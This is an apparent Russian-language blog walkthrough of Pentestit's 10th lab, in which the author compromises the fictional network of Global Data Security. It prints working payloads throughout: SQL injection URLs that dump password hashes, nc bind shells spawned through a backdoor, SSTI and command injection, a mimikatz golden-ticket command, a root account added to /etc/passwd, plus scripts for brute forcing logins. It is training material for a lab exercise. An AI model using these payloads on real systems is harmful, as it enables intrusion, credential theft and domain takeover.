Пентест в Global Data Security — прохождение 10-й лаборатории Pentestit



    Лаборатории компании Pentestit уже стали традицией для многих. Каждый май и ноябрь открывается очередная лаборатория, и тысячи энтузиастов по всему миру не спят сутками чтобы первыми скомпрометировать сеть нового виртуального банка, разработчиков ПО или провайдера услуг в области ИБ.

    25-го ноября запустилась очередная, на этот раз 10-я лаборатория, где участникам было предложено прорваться в сеть вымышленной компании Global Data Security — разработчика ПО в области информационной безопасности.

    6-го декабря, ровно через 11 суток, лаборатория была пройдена первыми участниками, которые смогли получить доступ к каждому уязвимому узлу сети компании Global Data Security и нашли на них специальные токены — комбинации букв и цифр, которые нужно ввести в панель управления на сайте Pentestit.

    Для тех, кто еще не успел заняться лабораторией — она будет активна до мая 2017-го года, после чего ее заменит уже объявленная 11-я лаборатория. А пока, эта статья предлагает описание всех этапов прохождения текущей лаборатории для всех, кто хочет развить свои навыки пентеста и узнать больше об актуальных уязвимостях на конец 2016-го года. Статья получилась длинная, но, надеюсь, интересная.

    Disclaimer
    Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

    Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.

    Подключение к лаборатории


    Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании Global Data Security.

    Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

    Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

    Начинаем тестирование


    После регистрации и подключения мы видим следующую схему сети:


    Перед нами gateway с IP-адресом 192.168.101.9 — внешний шлюз компании. Любой пентест полезно начинать с пассивного и активного сбора информации о компании, ее сотрудниках, продуктах, сервисах, публичных сайтах и поддоменах и многом другом.

    Пассивный сбор информации означает, что мы не связываемся напрямую с серверами компании, а пробуем найти информацию в общедоступных источниках — Google, LinkedIn, data.com, GitHub, и прочих. Довольно часто можно найти много интересного: имена сотрудников подскажут логины во внутреннюю сеть, на GitHub иногда можно найти исходные тексты, которые помогут лучше узнать о внутреннем устройстве продуктов или инфраструктуры компании, и так далее.

    К сожалению, в данном случае пассивный сбор информации не дал желаемых результатов (а вот в прошлой лаборатории, в задании SSH это было очень полезно), поэтому мы переходим к активному сбору информации, то есть такому, который подразумевает прямое взаимодействие с доступными нам ресурсами компании.

    Собираем информацию


    Начнем мы со сканирования портов, доступных через шлюз:



    Полезно также просканировать остальные TCP порты, и UDP порты: о них часто забывают, а ведь множество сервисов, такие как внутренний VPN (например, как в лаборатории #8) и другие. Оставим это в качестве упражнения, а сами пока сконцентрируемся на уже найденной информации.

    В результате нам доступны SSH сервер, почтовый SMTP сервер, два сайта и веб-интерфейс для сотрудников в виде CommuniGate Pro на порту 8100. Начнем с изучения сайтов.

    При попытке зайти на 192.168.101.9 получаем редирект на домен store.gds.lab. Видимо, сайт доступен по этому виртуальному хосту, и автоматически редиректит нас на него. Добавим нужную строку в /etc/hosts:



    На всякий случай мы добавили gds.lab в том числе. Теперь сайт доступен:


    Видим, что перед нами магазин на базе OpenCart:



    При этом различные попытки его атаковать (например найти XSS или использовать одну из найденных в OpenCart уязвимостей) приводят к такой странице:


    Видимо, сайт защищен с помощью Web Application Firewall. Итого, после небольшой разведки, нам стала известна следующая информация:

    • Магазин (видимо, токен store) основан на OpenCart и доступен по виртуальному хосту store.gds.lab
    • На основании сайта пока не удалось точно определить версию OpenCart
    • Любая грубая атака блокируется с помощью WAF (инъекции, XSS, перебор директорий)
    • Доступна папка /admin, но простые пароли по умолчанию не подходят

    Попробуем зайти на 80-й порт используя виртуальный хост gds.lab:



    Интересно, что здесь доступен еще один ресурс — файловый хостинг ownCloud. Изучив исходный код страницы и сообщение, понимаем, что правильная виртуальный хост — cloud.gds.lab. Внеся соответствующие изменения в hosts файл, получаем возможность пробовать логин и пароль:



    Отлично! Попробовав несколько комбинаций вручную, видим, что стандартные пароли не подходят. При этом обнаруживаем в ownCloud интересную особенность: он предлагает сбросить пароль, если пароль неверный, и в зависимости от того, присутствует нужная учетная запись или нет, выдает разные сообщения:

    Если учетной записи нет:



    Если учетная запись зарегистрирована:



    Пароль подобрать не удается, поэтому запомним найденное имя пользователя, и продолжим собирать информацию, на этот раз перейдя на следующий порт — 443.

    192.168.101.9, к сожалению, не доступен по https, с сообщением вида:

    An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG
    

    Видимо, что-то с SSL. Сайт плохо сконфигурирован, и доступен по HTTP:



    Видимо, это и есть основной сайт компании. Попробуем получить наш первый токен!

    Изучаем site


    После внимательного изучения страниц сайта, определяем что он, видимо, написан разработчиками компании GDS, и не использует готовую CMS вроде WordPress.

    С учетом того, что множество уязвимостей связаны с пользовательским вводом, посмотрим доступные нам entry points. Находим адрес:

    http://192.168.101.9:443/post.php?id=1

    Если добавить одну кавычку в конце, получаем редирект на основную страницу сайта, а если две — нет. Похоже на SQL injection. Немного поэкспериментировав, находим, что условие находится в скобках:

    http://192.168.101.9:443/post.php?id=1') -- -

    При этом попытки добавлять UNION SELECT не приводят к успеху, видимо, в сайте есть фильтр на SQL-инъекции. Попробуем его обойти, используя стандартный прием с изменением регистра:

    http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- -
    

    Достанем таблицы:

    http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- -

    Затем поля:

    http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- -

    И затем логин и хеш пароля:

    http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- -



    Используем hashcat (желательно вне виртуальной машины, чтобы использовать GPU) чтобы восстановить пароль (и словари SecLists — очень рекомендую):


    Получилось! Используя dirsearch находим административный интерфейс в папке /admin:



    Вводим туда найденные имя пользователя и пароль, и получаем первый токен:



    Такого же результата поможет добиться SQLMap с включенной опцией --tamper=randomcase, но последний запрос в любом случае придется сделать вручную.

    Берем mail


    Во время изучения сайта, обращаем внимание на всю информацию, найденную в процессе исследования. Очень важно не останавливаться в сборе информации и продолжать записывать все найденные особенности.

    В частности, на странице Contact Us есть информация о двух учетных записях:



    А на основной странице есть ссылка на еще одного человека:



    В результате получаем три учетные записи для почтового сервера:
    • a.modlin
    • s.locklear
    • j.wise
    • e.lindsey (подходит пароль с сайта, но в почте ничего нет)

    Проверим, не использует ли кто-то из этих пользователей словарный пароль:



    Получилось подобрать пароль к пользователю a.modlin. Воспользуемся веб-интерфейсом почты на порту 8100:



    Вот и следующий токен, а заодно и письмо от Joshua Wise с Android-приложением и следующим содержимым:

    .

    Запомним это на будущее, судя по IP адресу и схеме сети, это приложение пригодится нам для токена ssh-test.

    На данный момент мы внимательно изучили сайт (порт 443) и использовали его для получения двух токенов, кроме того, удалось обнаружить два виртуальных хоста (store.gds.lab и cloud.gds.lab) на 80-м порту. Последние защищены WAF-ом, поэтому несмотря на обилие возможных вариантов, найти уязвимости не получилось из-за постоянных блокировок.

    Попробуем пробраться во внутреннюю сеть и продолжить оттуда.

    Сервер ssh


    Пользователи часто используют одни и те же пароли на разных сервисах. Попробуем зайти на сервер SSH с под e.lindsey, с паролем найденным на сайте:



    Получилось! На хосте удобно присутствует nmap, и нам доступна вся внутренняя сеть. Поискав токен, понимаем, что не все так просто.

    На сервере есть много интересного. Среди прочего, находим:
    • много новых учетных записей по /etc/passwd и содержимому /home,
    • исходный код магазина в /var/www/, из которого определяем версию OpenCart, пароль к локальной MySQL и хеш пароля администратора OpenCart
    • папку /data/users с правами на вход, но без прав на листинг.

    Очень полезная инструкция по пост-эксплуатации Linux-машин доступна здесь. В данном случае повышение привилегий на сервере SSH не подразумевалось авторами лаборатории, но в любом случае изучить содержимое на предмет дополнительных скриптов, настроек конфигурации, вебсайтов, задач в планировщике, подключенных файловых систем и другого очень полезно.

    С учетом того, что в конфигурации сайта токена нет, сконцентрируемся на папке /data/users.



    Как видим, на ней отсутствует бит r, но присутствует бит x, а значит заходить и работать с содержимым папки можно, а вот смотреть ее листинг — нельзя. Когда мы сталкиваемся с такой же задачей в вебе (где практически всегда отключен листинг директорий), мы используем утилиты вроде dirb или dirsearch, которые пробуют открыть файлы по словарю, перебирая множество комбинаций. Попробуем сделать то же самое и здесь, словари можно использовать из dirb.

    Напишем небольшой скрипт, чтобы рекурсивно перепробовать нужные нам поддиректории и файлы по словарю:

    """Importing os to access file system"""
    import os
    
    PATH = "/data/users/"
    DICC = "/var/tmp/common.txt"
    
    def attempt_path(path):
        """Check if file or directory exists and print out the result. Return true if directory"""
    
        if os.path.isfile(path):
            print "Found file : " + path
            return False
    
        if os.path.isdir(path):
            print "Found dir  : " + path
            return True
    
        return False
    
    def look_for_subdirs(path):
        """Recursive function to look for dirs"""
        with open(DICC) as dicc:
            for line in dicc:
                curr_path = path + line.rstrip('\n')
                if attempt_path(curr_path):
                    look_for_subdirs(curr_path + "/")
    
    look_for_subdirs(PATH)
    print "Finished"
    

    Теперь нужно подготовить словарь и загрузить его на ssh сервер. Один из способов — выложить словарь и наш код на питоне на локальный веб-сервер, и затем загрузить их с него с помощью wget.

    Возьмем словарь из dirb, который в kali находится по адресу /usr/share/dirb/wordlists/common.txt, и добавим в него имена локальных пользователей, а заодно и файл token.txt (надеемся он где-то там):





    К сожалению, наш IP напрямую недоступен с хоста 172.16.0.8, поэтому используем SSH туннель:



    Здесь есть два момента, на которые нужно обратить внимание.

    В начале мы делаем remote port forwarding, пробрасывая remote часть «localhost:80» (то есть то, что у на нашей локальной Kali машине находится на порту 80) на локальный (для SSH сервера) порт 8765. Вызвать эту командную строку ssh> можно нажатием комбинации клавиш ~C (удерживая shift нажимем ~ и затем C).

    Теперь наш локальный вебсервер доступен нам на хосте SSH. На сервере по умолчанию включен прокси сервер, для локального порта его стоит убрать командой unset.

    Теперь все готово, чтобы запускать наш скрипт:



    В папке /data/users/rross/docs/ найден токен и SSH-ключ rross-a. Кроме того, мы еще нашли SSH-ключ пользователя a.modlin. Наверняка один из них подойдет к ssh-test. Продолжим!

    Разбираемся с ssh-test


    Когда мы нашли токен mail, нам стала доступна версия приложения «gds-authenticator»:

    .
    Как видно из письма, адресованного Альфреду Модлину, ему понадобится два фактора для входа на сервер — ключ или пароль, и номер порта SSH, который постоянно меняется. Эффективность второго фактора весьма сомнительна, потому что открытый порт можно просто найти с помощью nmap, но тем не менее мы сделаем эту задачу предполагаемым авторами способом. Распакуем apk и извлечем classes.dex:



    Затем сконвертируем dex в jar с помощью одноименной утилиты:



    И, наконец, воспользуемся декомпилятором JD, чтобы получить исходники:



      protected void setAuthCode()
      {
        String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6);
        int i = Integer.parseInt(str.substring(-5 + str.length()));
        if (i > 65534) {
          i %= 65534;
        }
        TextView localTextView = (TextView)findViewById(2131492983);
        Object[] arrayOfObject = new Object[1];
        arrayOfObject[0] = Integer.valueOf(i);
        localTextView.setText(String.format("%d", arrayOfObject));
      }
    

    Как видим, используется класс HOTP, также доступный в apk, которому дается seed и миллисекунды для вычисления. Попробуем извлечь код, который генерирует номер порта, чтобы научиться делать это, при желании, автоматически.



    И затем скомпилируем и запустим:



    Порт есть, осталось написать команду, которая будет подключаться к ssh test одной строкой. Скопируем /data/users/a.modlin/docs/key в локальную папку, а затем воспользуемся sshuttle, чтобы сделать внутреннюю сеть доступной с нашей Kali-машины.

    sshuttle (который еще называют a poor man's VPN) использует правила iptables, чтобы сделать внутренние подсети доступными через ssh-туннели. Подключаемся таким образом:



    Сделаем bash-скрипт для подключения:

    #!/bin/sh
    ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main)
    

    Подключаемся и находим очередной токен:



    Атакуем blog


    Судя по схеме сети, по адресу 192.168.0.4 находится блог компании, беглое сканирование портов подтвержает присутствие открытого 80-го порта. Подключаемся через sshuttle и посмотрим, что можно найти на блоге:



    Выглядит похоже на инсталляцию Joomla! Проверим:



    Так и есть. Попробуем нашумевшую недавно уязвимость в Джумле, которая позволяет создать учетную запись администратора без аутентификации. Можно воспользоваться эксплоитом по ссылке, а можно, например, модулем из Metasploit:



    Теперь просто заходим под нужным пользователем:



    Находим неопубликованную статью:


    И используем ее алиас в виде токена, и блог поддался!

    Разбираем captcha


    Сервер с капчей по адресу 192.168.0.7 предлагает не очень много — только пустую страницу с незагрузившейся картинкой. Немного поизучав исходный код основной
    страницы (предварительно подключившись к ssh с помощью sshuttle), можно сделать следующие выводы:

    • Картинка генерируется в подпапке sources с псевдослучайным именем
    • Имя подпапки сохраняется для каждой сессии, и генерируется заново для новой сессии (это понятно если поменять PHPSESSID)
    • Сама по себе картинка не работает — видимо, какая-то старая забытая development версия

    Ничего из этого не дает прямых указаний о том, что делать дальше. Воспользовавшись dirsearch, находим кое-что интересное:



    Исходя из содержимого robots.txt понимаем, что есть какой-то скрытый bak файл, в котором, видимо, и есть самое интересное.



    При этом readme.txt говорит о том, что картинка удаляется через некоторое время после того, как она была сгенерирована.

    Возьмем путь к картинке из основной страницы:

    http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png
    

    Так как мы ищем скрытый bak файл, попробуем заменить расширение png на bak:

    http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak
    



    Видимо, это резервная копия исходного кода, которая говорит о том, что есть файл captcha с сериализованной сессией, и файл с бекдор-шеллом, который принимает команды в GET-параметре session и выполняет их.

    К сожалению, если зайти еще раз — файла больше нет. Куда он делся? Вспоминаем readme.txt: он удаляется через некоторое время. После нескольких попыток понимаем, что файл становится доступен снова после захода на /index.php. Сделаем небольшой цикл, который будет это делать для нас постоянно, чтобы держать captcha.bak и остальные файлы доступными:

    while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done
    

    Файл снова на месте. Остается обратиться к ($_SESSION.php)?session=whoami чтобы убедиться, что мы получили возможность удаленного выполнения кода:



    Теперь сделаем bind shell на хосте 192.168.0.7 на порту 1234:

    http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234
    

    И подключимся к нему:



    Вот и очередной токен!

    Взятие hall-of-fame


    Изучив открытые порты на 192.168.0.8 обнаруживаем сайт с описанием известных хакеров и возможностью входа:



    Полезно начать с изучения карты сайта, доступных и скрытых каталогов, и попыток определить доступных пользователей. К сожалению, login-форма не работает на известных именах.

    Внимание привлекают адреса адреса вида http://192.168.0.8/index.php?hname=James, так как параметр может оказаться примером уязвимости типа LFI (local file inclusion), но попытки ее эксплуатировать подставив системные пути не приводят к успеху. Обратимся к dirsearch и попробуем найти скрытые директории:



    Среди прочего, нашелся интересный файл: /backup/passwords.txt, и подпапка /dev, закрытая за basic-аутентификацией. Воспользуемся этими паролями на login-странице:



    После логина, получаем пароль к /dev части. Воспользуемся им, чтобы зайти в /dev:



    Внутри получаем копию внешнего сайта, но на ней подозреваемый ранее параметр hname уязвим к Server-Side Template Injection. Как видно, вписав {{7*7}} мы получаем результат операции (49) в заголовке страницы — который был вычислен на сервере. Мы получили RCE.



    Саму атаку можно детально изучить по ссылке выше, а мы попробуем составить payload для того, чтобы создать bind shell. Для начала уточним имя пользователя:



    А затем с помощью следующей команды откроем bind shell:
    http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}}
    

    Подключившись, находим очередной токен!



    Читаем news


    news (192.168.0.5) — очередной сайт в Global Data Security, внешне похожий на hall of fame, с возможностью регистрации, входа, восстановления пароля и изучения внутренних новостей.

    Логин форма предлагает нам ввести имейл и пароль.


    Попробовав все известные комбинации логина и пароля уже найденных пользователей (a.modlin, e.lindsey, etc.), понимаем что они не зарегистрированы — мы получаем сообщение wrong e-mail. При этом, попытка ввести admin@gds.lab приводит к другому сообщению: wrong password. Значит, пользователь admin@gds.lab зарегистрирован.

    Вооружившись Burp Suite, пробуем подобрать пароль к admin@gds.lab, но это не приводит к успеху. Тогда снова обратимся к dirsearch и поищем что еще скрывается на сайте новостей:



    Находим папку /old, а в ней старую версию сайта новостей, в которой есть интересный комментарий, который намекает на существование «простого пользователя», то есть user:



    Проверим наши догадки. Логин в /old не приводит ни к чему интересному, а вот если зайти под user@gds.lab с паролем user в новый сайт новостей, видим следующую страницу:



    Отлично, осталось зайти под администратором, чтобы получить токен. Мы только что узнали о существовании новой страницы — user_info.php, посмотрим что есть на этот счет в /old.



    После нескольких попыток, понимаем, что если попробовать залогиниться под пользователем admin используя этот адрес, то войти не получится, но вывод user_info.php изменится:

    http://192.168.0.5/old/login_2.php?username=admin&password=admin
    



    То есть, на самом деле мы вошли! Однако новый user_info.php теперь все равно не дает нам попасть внутрь.

    Из этого можно заключить, что два сайта используют одну и ту же сессию, и сохраняют в ней информацию о пользователе. Видимо, попытка войти в /old сохраняет в поле username в сессии имя пользователя, и просто не редиректит на user_info.php если пароль неправильный (вместо того чтобы сохранять имя пользователя только после успешного входа с правильным паролем). И хотя для сайта /old этого достаточно, новый еще использует email, поэтому зайти на user_info.php не получается.

    Попробуем сбросить пароль для пользователя admin:

    http://192.168.0.5/password_restore_2.php?email=admin@gds.lab
    

    Понадеявшись на то, что в форме сброса пароля программист допустил ту же ошибку (а именно, сохранил в сессии имейл) мы пробуем нам сохранить в сессии правильный email для того, чтобы войти под администратором.

    Итого, весь процесс состоит из следующих шагов:
    • http://192.168.0.5/login_2.php?email=user%40gds.lab&password=user — входим под user@gds.lab/user в новый сайт
    • http://192.168.0.5/old/login_2.php?username=admin&password=user — устанавливаем значение «admin» в качестве текущего пользователя
    • http://192.168.0.5/password_restore_2.php?email=admin@gds.lab — устанавливаем значение «admin@gds.lab» в качестве текущего email-адреса
    • http://192.168.0.5/user_info.php — мы вошли под администратором

    После успешного входа, получаем токен (вырезан на скриншоте ниже):



    И вот, новости поддались!

    Получаем web-control


    Начнем, как обычно, со сканирования портов, для чего воспользуемся nmap, удобно предоставленным нам на хосте SSH.


    Изучив 80-й порт, не находим ничего интересного кроме формы для сбора имейлов, которая, к тому же, не работает, и папки /uploads, в которой ничего интересного найти не удалось.

    Обратим внимание на нестандартный порт 1503. Чтобы его изучить, попробуем подключиться:

    nc 192.168.0.6 1503
    



    Видимо, нужно подобрать комбинацию логина и пароля. Попробовав известные нам пароли с ssh, hall-of-fame и mail понимаем что все не так просто, и придется написать небольшой скрипт:

    """Sockets"""
    import socket
    
    WEB_CONTROL_HOST = '192.168.0.6'
    WEB_CONTROL_PORT = 1503
    USER_FILE = '/root/pentestit/webc/users.txt'
    PASS_FILE = '/opt/SecLists/Passwords/john.txt'
    
    def recv_until(string, sock):
        """Receives data from socket until certain string is found"""
        data = ""
        while True:
            tmp = sock.recv(1)
            if tmp == "":
                break
            data += tmp
            if data.endswith(string):
                break
        return data
    
    def attempt_login(user, password):
        """Attempts to log in under a specified account"""
        # This should not connect every time and should be multi-threaded in an ideal world 
        web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT))
    
        reply = recv_until("Enter login: ", web_control)
        web_control.send(user)
        reply = recv_until("Enter password: ", web_control)
        web_control.send(password)
        reply = web_control.recv(6)
        web_control.close()
    
        return "Error!" not in reply
    
    with open(USER_FILE) as user_file:
        for user_line in user_file:
            with open(PASS_FILE) as pass_file:
                for pass_line in pass_file:
                    if attempt_login(user_line, pass_line):
                        print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n')
    

    В качестве пользователей выпишем известные нам учетные записи с ssh, и несколько стандратных имен:

    admin
    administrator
    root
    user
    k.barth
    m.howard
    g.leone
    j.wise
    s.locklear
    e.lindsey
    a.modlin
    

    Запускаем скрипт на выполнение, и через некоторое время получаем желаемый результат:



    Получилось! После с нужным логином и паролем, понимаем что мы оказались в самописном инструменте для запуска каких-то скриптов.

    Множество уязвимостей связано с плохо проверенным пользовательским вводом, попробуем добиться command injection. Если ввод передается в system, мы можем добавить дополнительную команду с помощью разделителя — ;, &, или |. Попробуем!



    Фильтруется все кроме |, что, видимо, было упущено разработчиками. Используя команду | nc -nvlp 1234 -e /bin/sh создаем bind shell на web-control. Теперь остается только подключиться и найти токен:

    nc 192.168.0.6 1234
    cat /var/opt/token.txt
    

    Токен store


    Как видно по схеме сети, store представлен двумя хостами — 172.16.0.4 (production), и 172.16.0.5 (dev). Кроме того, копия магазина находится на хосте ssh в папке /var/www/.

    Изучив содержимое /var/www делаем следующие выводы:
    • используется последняя версия OpenCart, в которой нет известных уязвимостей
    • в /var/www/config.php находим пароль к локальной БД, на которой установлена копия магазина; в ней находим хеш пароля пользователя admin — пока он наша единственная надежда.

    В hashcat недавно даже появилась возможность подбирать хеши формата OpenCart. Попробуем:

    К сожалению, подобрать пароль не удается даже на достаточно большом словаре.

    Переключим внимание на store и dev-store — возможно в них есть дополнительный скрытый файл, или используется старая, уязвимая версия OpenCart. Через некоторое время обнаруживаем SQL-инъекцию на машине dev-store, которой не было на ssh или store — видимо, на этом сервере осталась старая версия с уязвимостью.

    Для проверки, поменяем hosts файл добавив запись:

    172.16.0.5      store.gds.lab
    

    И запустим SQLmap:
    sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell
    



    Мы получили доступ к базе данных на dev-store. К сожалению, доступ к файловой системе ограничен (прочесть /etc/passwd или записать что-то в файл через OUTFILE не получается), поэтому, видимо, токен находится прямо в базе.



    И вот, store взят!

    Изучаем win-term


    Чтобы продвинуться дальше, участникам понадобилось больше четырех дней, хотя, как обычно, ларчик просто открывался. На текущий момент нераскрытыми остались три токена — win-term, win-dc0 и cloud.

    Просканировав порты на Windows терминале и контроллере домена (DC0), понимаем что никаких дополнительных сервисов не открыто, версия Windows — 2008 R2, и известных публичных уязвимостей, позволяющих получить code execution нет. Несмотря на это, мы можем определить что обновления давно не устанавливались, так как машмну win-term можно перезагрузить с помощью уязвимости в RDP. Это значит, что вероятно повысить привилегии до администратора после входа на машину будет не так сложно.

    Перебор паролей по словарю тоже не дает желаемого результата ни на одной из учетных записей. На всякий случай убеждаемся, что найденные ранее учетные данные существуют в домене:



    Все на месте. На данном этапе у нас есть пароли двух пользователей — a.modlin и e.lindsey. Попробуем модифицировать пароль e.lindsey таким образом, чтобы он соответствовал стандартным доменным политикам, и содержал большие и маленькие буквы, и цифры. Начнем с того, что сделаем первую букву пароля e.lindsey заглавной:

    rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD
    



    Удалось подключиться! Попробуем повысить привилегии до администратора с использованием известной уязвимости MS16-023. Я скомпилировал этот код в виде exe file, но можно выполнить и через PowerShell. Запускаем:



    В полученной консоли администратора создаем отдельного пользователя, удаляем за собой лишние файлы, и заходим под локальным администратором:

    rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD
    



    У администратора находим скрипт подключения зашифрованного диска с помощью TrueCrypt с ключом. Запускаем:



    На появившемся диске X есть база KeePass, опять же с ключом:



    А в ней — пароль от учетной записи rross к cloud, и долгожданный токен:



    Получаем права администратора домена в win-dc0


    Продолжая изучать содержимое терминала, мы находим папку с бекапом диска доменного контроллера:



    Подключим VHD файл в консоли управления сервером:



    Затем скопируем файл Windows\NTDS\Ntds.dit и Windows\System32\config\SYSTEM с только что подключенного VHD на локальную kali-машину.



    Прежде чем продолжить, нужно подготовиться, установив специальные утилиты для работы с таблицами NTDS.dit: libesedb и NTDSXtract. Можно установить их в /opt таким образом:

    cd /opt
    
    git clone https://github.com/libyal/libesedb.git
    cd libese/
    apt-get install git autoconf automake autopoint libtool pkg-config build-essential
    ./synclibs.sh
    ./autogen.sh
    ./configure
    make
    make install
    
    cd ..
    
    git clone https://github.com/csababarta/ntdsxtract.git
    

    Теперь все готово. В первую очередь, извлечем таблицы из ntds.dit с помощью esedbexport:



    В появившемся каталоге ntds.dit.export воспользуемся NTDSXtract чтобы извлечь хеши:



    В результате выполнения этой команды, получим файл nt.john.out с извлеченными хешами в новой папке dump/:



    Иногда на этом можно остановиться, если можно восстановить пароль из извлеченного хеша администратора. В данном случае, так как это резервная копия, пароль уже не подходит. Поэтому воспользуемся атакой Pass the Ticket (ptt), в которой мы используем хеш учетной записи krbtgt для генерации так называемого golden ticket.

    Для этого загрузим mimikatz на терминал, и запустим его с правами администратора:



    Для создания golden ticket нам потребуется SID домена (получен с помощью команды lsadump::lsa на скриншоте выше), имя учетной записи администратора домена (получено из NTDS.dit), хеш учетной записи krbtgt (также получен выше) и имена групп, в которые входит администратор (стандартные значения: 500, 501, 513, 512, 520, 518, 519).

    Используя эту информацию, создадим golden ticket и применим его:

    kerberos::golden /domain:gds-office.lab /sid:S-1-5-21-421115581-889488229-2938181853 /rc4:1dc9bae0282962e7d761a2eda274e6d7 /id:500 /user:administrator /groups:500,501,513,512,520,518,519 /ptt
    

    Затем запустим отдельный cmd.exe с примененным тикетом, и получим доступ к ресурсу C$ на контроллере домена:



    Вот и токен! На данный момент мы обладаем полными правами администратора домена на этом диске, а соответственно можем выполнять произвольный код на контроллере домена, что обычно ознаменовывает успешный финал любого пентеста.

    В данном случае атака была сильно упрощена — имелась резервная копия дисков контроллера домена, отсутствовало активное обнаружение атак, включая тот же mimikatz, а так же отсутствовали необходимые патчи.

    Последний рубеж — cloud


    Начинаем как обычно со сканирования портов:

    Обнаружив службу SSH на порту 2222 пробуем зайти туда с учетной записью rross и паролем, найденным на терминале.

    Примечание
    Эта цепочка в лаборатории была довольно запутанной, потому что нам изначально был доступен сервер ownCloud с учетной записью администратора (как обсуждалось в начале статьи), веб-сервер был неправильно сконфигурирован, и можно было скачать sqlite базу данных ownCloud (http://cloud.gds.lab/data/owncloud.db), из которой можно было извлечь хеш не поддающийся перебору (соль сохранена на диске и мы не имеем к ней доступа). При этом, SSH-ключ пользователя rross был найден уже давно, во время перебора содержимого /data/users/ на хосте SSH, но, к сожалению, не подошел. Так как на порту 2222 включена аутентификация по паролю, можно было попробовать определить какие пользователи присутствуют на компьютере rross с помощью атаки user enumeration timing attack. Для этого можно использовать инструмент osueta.

    Эта утилита отправляет пароли длиной 40 тыс символов и замеряет разницу в ответах от сервера — если пользователь существует, то OpenSSH вычисляет хеш пароля, а если пользователя нет — то сразу возвращается ответ с негативным результатом аутентификации. В текущей версии OpenSSH этот недочет исправлен, но тем не менее уязвимость присутствует во многих конфигурациях, и позволяет значительно сократить время на подбор пароля.

    В любом случае, после успешного получения токена win-term у нас есть пароль, с которым можно зайти на SSH.

    Интересно, что каждый раз когда мы попадаем на сервер, мы попадаем в разный lxc-контейнер — от lxc1 до lxc5.



    После изучения, становится понятно, что нужно поднимать привилегии, потому что с привилегиями пользователя rross ничего интересного не доступно.

    На lxc1 допущена классическая ошибка в управлении правами:



    Скрипт clear_nginx_logs.sh регулярно запускается с правами root, при этом его можно модифицировать любому пользователю. Создадим нового пользователя в системе:



    Здесь мы добавляем нового пользователя в /etc/passwd с именем ff и паролем 123 (захешированном в устаревшем формате, для простоты) с id равным 0 (root). Через минуту заходим под этим пользователем и получаем полный доступ к контейнеру:



    Пользователь добавлен, но токена в контейнере все равно нет — нужно выйти за пределы контейнера. Недавно NCC Group опубликовали исследование по этому поводу. Пример на странице 16 — это эксплоит, применив который можно получить доступ к файловой системе хостовой машины.

    Скомпилируем и запустим файл на контейнере:



    И наконец — финал, последний токен в файле token.txt на хостовой машине:



    Последний токен взят!

    Обратим внимание на файл ntdsutil_snapshot.zip — скопировав его на локальный компьютер можно получить резервную копию файлов ntds.dit и SYSTEM еще одним способом. Включим локальный SSH сервис, и сделаем его доступным на контейнере:

    service ssh start
    

    Затем сделаем remote port forwarding через SSH:



    И скопируем файл через scp:



    Распаковав его, получим те же ntds.dit и SYSTEM для win-dc0:



    Лаборатория пройдена!

    Весь материал здесь представлен исключительно в образовательных целях, поэтому ваши комментарии по прохождению лаборатории приветствуются — пусть как можно больше людей узнают о разных способах решения той или иной задачи.

